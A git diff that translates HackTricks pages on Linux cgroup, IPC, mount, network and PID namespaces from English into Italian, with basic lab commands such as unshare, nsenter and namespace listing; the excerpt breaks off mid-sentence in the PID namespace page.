#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### Trova tutti i namespace CGroup ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### Entra all'interno di un namespace CGroup ```bash nsenter -C TARGET_PID --pid /bin/bash ``` +Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/cgroup`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). - -## References +## Riferimenti - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..9dae2cd7f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -2,83 +2,72 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +Un namespace IPC (Inter-Process Communication) è una funzionalità del kernel Linux che fornisce **isolamento** degli oggetti IPC di System V, come code di messaggi, segmenti di memoria condivisa e semafori. Questo isolamento garantisce che i processi in **diversi namespace IPC non possano accedere o modificare direttamente gli oggetti IPC degli altri**, fornendo un ulteriore livello di sicurezza e privacy tra i gruppi di processi. -### How it works: +### Come funziona: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. Quando viene creato un nuovo namespace IPC, inizia con un **set completamente isolato di oggetti IPC di System V**. Ciò significa che i processi in esecuzione nel nuovo namespace IPC non possono accedere o interferire con gli oggetti IPC in altri namespace o nel sistema host per impostazione predefinita. +2. Gli oggetti IPC creati all'interno di un namespace sono visibili e **accessibili solo ai processi all'interno di quel namespace**. Ogni oggetto IPC è identificato da una chiave unica all'interno del suo namespace. Anche se la chiave può essere identica in diversi namespace, gli oggetti stessi sono isolati e non possono essere accessibili tra i namespace. +3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()` o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWIPC`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare gli oggetti IPC associati a quel namespace. -## Lab: +## Laboratorio: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### Trova tutti i namespace IPC ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### Entra in un namespace IPC ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +Puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### Crea oggetto IPC ```bash # Container sudo unshare -i /bin/bash @@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - -## References +## Riferimenti - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..8c36c428f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -2,70 +2,63 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +Un mount namespace è una funzionalità del kernel Linux che fornisce isolamento dei punti di montaggio del file system visti da un gruppo di processi. Ogni mount namespace ha il proprio insieme di punti di montaggio del file system e **le modifiche ai punti di montaggio in un namespace non influenzano altri namespace**. Ciò significa che i processi in esecuzione in diversi mount namespace possono avere visioni diverse della gerarchia del file system. -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +I mount namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio file system e configurazione, isolati da altri container e dal sistema host. -### How it works: +### Come funziona: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. Quando viene creato un nuovo mount namespace, viene inizializzato con una **copia dei punti di montaggio dal suo namespace genitore**. Ciò significa che, al momento della creazione, il nuovo namespace condivide la stessa visione del file system del suo genitore. Tuttavia, eventuali modifiche successive ai punti di montaggio all'interno del namespace non influenzeranno il genitore o altri namespace. +2. Quando un processo modifica un punto di montaggio all'interno del proprio namespace, come montare o smontare un file system, la **modifica è locale a quel namespace** e non influisce su altri namespace. Questo consente a ciascun namespace di avere la propria gerarchia del file system indipendente. +3. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()`, o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWNS`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare i punti di montaggio associati a quel namespace. +4. **I descrittori di file e gli inode sono condivisi tra i namespace**, il che significa che se un processo in un namespace ha un descrittore di file aperto che punta a un file, può **passare quel descrittore di file** a un processo in un altro namespace, e **entrambi i processi accederanno allo stesso file**. Tuttavia, il percorso del file potrebbe non essere lo stesso in entrambi i namespace a causa delle differenze nei punti di montaggio. -## Lab: +## Laboratorio: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo mount namespace abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### Trova tutti i Mount namespaces ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### Entra in un Mount namespace ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/mnt`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +Poiché i nuovi mount sono accessibili solo all'interno del namespace, è possibile che un namespace contenga informazioni sensibili che possono essere accessibili solo da esso. +### Monta qualcosa ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - -## References +## Riferimenti - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..c4c4302f9 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -2,85 +2,75 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +Un network namespace è una funzionalità del kernel Linux che fornisce isolamento dello stack di rete, consentendo **a ciascun network namespace di avere la propria configurazione di rete indipendente**, interfacce, indirizzi IP, tabelle di routing e regole del firewall. Questo isolamento è utile in vari scenari, come la containerizzazione, dove ciascun container dovrebbe avere la propria configurazione di rete, indipendente dagli altri container e dal sistema host. -### How it works: +### Come funziona: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. Quando viene creato un nuovo network namespace, inizia con uno **stack di rete completamente isolato**, con **nessuna interfaccia di rete** tranne l'interfaccia di loopback (lo). Ciò significa che i processi in esecuzione nel nuovo network namespace non possono comunicare con i processi in altri namespace o con il sistema host per impostazione predefinita. +2. **Interfacce di rete virtuali**, come le coppie veth, possono essere create e spostate tra i network namespaces. Questo consente di stabilire connettività di rete tra i namespace o tra un namespace e il sistema host. Ad esempio, un'estremità di una coppia veth può essere posizionata nel network namespace di un container, e l'altra estremità può essere collegata a un **bridge** o a un'altra interfaccia di rete nel namespace host, fornendo connettività di rete al container. +3. Le interfacce di rete all'interno di un namespace possono avere i propri **indirizzi IP, tabelle di routing e regole del firewall**, indipendenti dagli altri namespace. Questo consente ai processi in diversi network namespaces di avere configurazioni di rete diverse e operare come se stessero funzionando su sistemi di rete separati. +4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()`, o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWNET`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare la configurazione di rete e le interfacce associate a quel namespace. ## Lab: -### Create different Namespaces +### Crea diversi Namespaces #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mount-proc`, garantisci che il nuovo namespace di mount abbia una **visione accurata e isolata delle informazioni sui processi specifiche per quel namespace**.
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. -2. **Consequence**: +2. **Conseguenza**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Soluzione**: +- Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### Controlla in quale namespace si trova il tuo processo ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### Trova tutti i namespace di rete ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### Entra all'interno di un Network namespace ```bash nsenter -n TARGET_PID --pid /bin/bash ``` +Inoltre, puoi **entrare in un altro namespace di processo solo se sei root**. E **non puoi** **entrare** in un altro namespace **senza un descrittore** che punti ad esso (come `/proc/self/ns/net`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -## References +## Riferimenti - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..3c7135367 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -2,89 +2,79 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +Il namespace PID (Process IDentifier) è una funzionalità nel kernel Linux che fornisce isolamento dei processi consentendo a un gruppo di processi di avere il proprio insieme di PID unici, separati dai PID in altri namespace. Questo è particolarmente utile nella containerizzazione, dove l'isolamento dei processi è essenziale per la sicurezza e la gestione delle risorse. -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +Quando viene creato un nuovo namespace PID, il primo processo in quel namespace viene assegnato il PID 1. Questo processo diventa il processo "init" del nuovo namespace ed è responsabile della gestione degli altri processi all'interno del namespace. Ogni processo successivo creato all'interno del namespace avrà un PID unico all'interno di quel namespace, e questi PID saranno indipendenti dai PID in altri namespace. -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +Dal punto di vista di un processo all'interno di un namespace PID, può vedere solo altri processi nello stesso namespace. Non è a conoscenza dei processi in altri namespace e non può interagire con essi utilizzando strumenti di gestione dei processi tradizionali (ad es., `kill`, `wait`, ecc.). Questo fornisce un livello di isolamento che aiuta a prevenire l'interferenza tra i processi. -### How it works: +### Come funziona: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. Quando viene creato un nuovo processo (ad es., utilizzando la chiamata di sistema `clone()`), il processo può essere assegnato a un nuovo namespace PID o a uno esistente. **Se viene creato un nuovo namespace, il processo diventa il processo "init" di quel namespace**. +2. Il **kernel** mantiene una **mappatura tra i PID nel nuovo namespace e i PID corrispondenti** nel namespace padre (cioè, il namespace da cui è stato creato il nuovo namespace). Questa mappatura **consente al kernel di tradurre i PID quando necessario**, ad esempio quando si inviano segnali tra processi in diversi namespace. +3. **I processi all'interno di un namespace PID possono vedere e interagire solo con altri processi nello stesso namespace**. Non sono a conoscenza dei processi in altri namespace e i loro PID sono unici all'interno del loro namespace. +4. Quando un **namespace PID viene distrutto** (ad es., quando il processo "init" del namespace termina), **tutti i processi all'interno di quel namespace vengono terminati**. Questo garantisce che tutte le risorse associate al namespace vengano pulite correttamente. ## Lab: -### Create different Namespaces +### Crea diversi Namespace #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +Errore: bash: fork: Impossibile allocare memoria -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Problem Explanation**: +1. **Spiegazione del Problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. 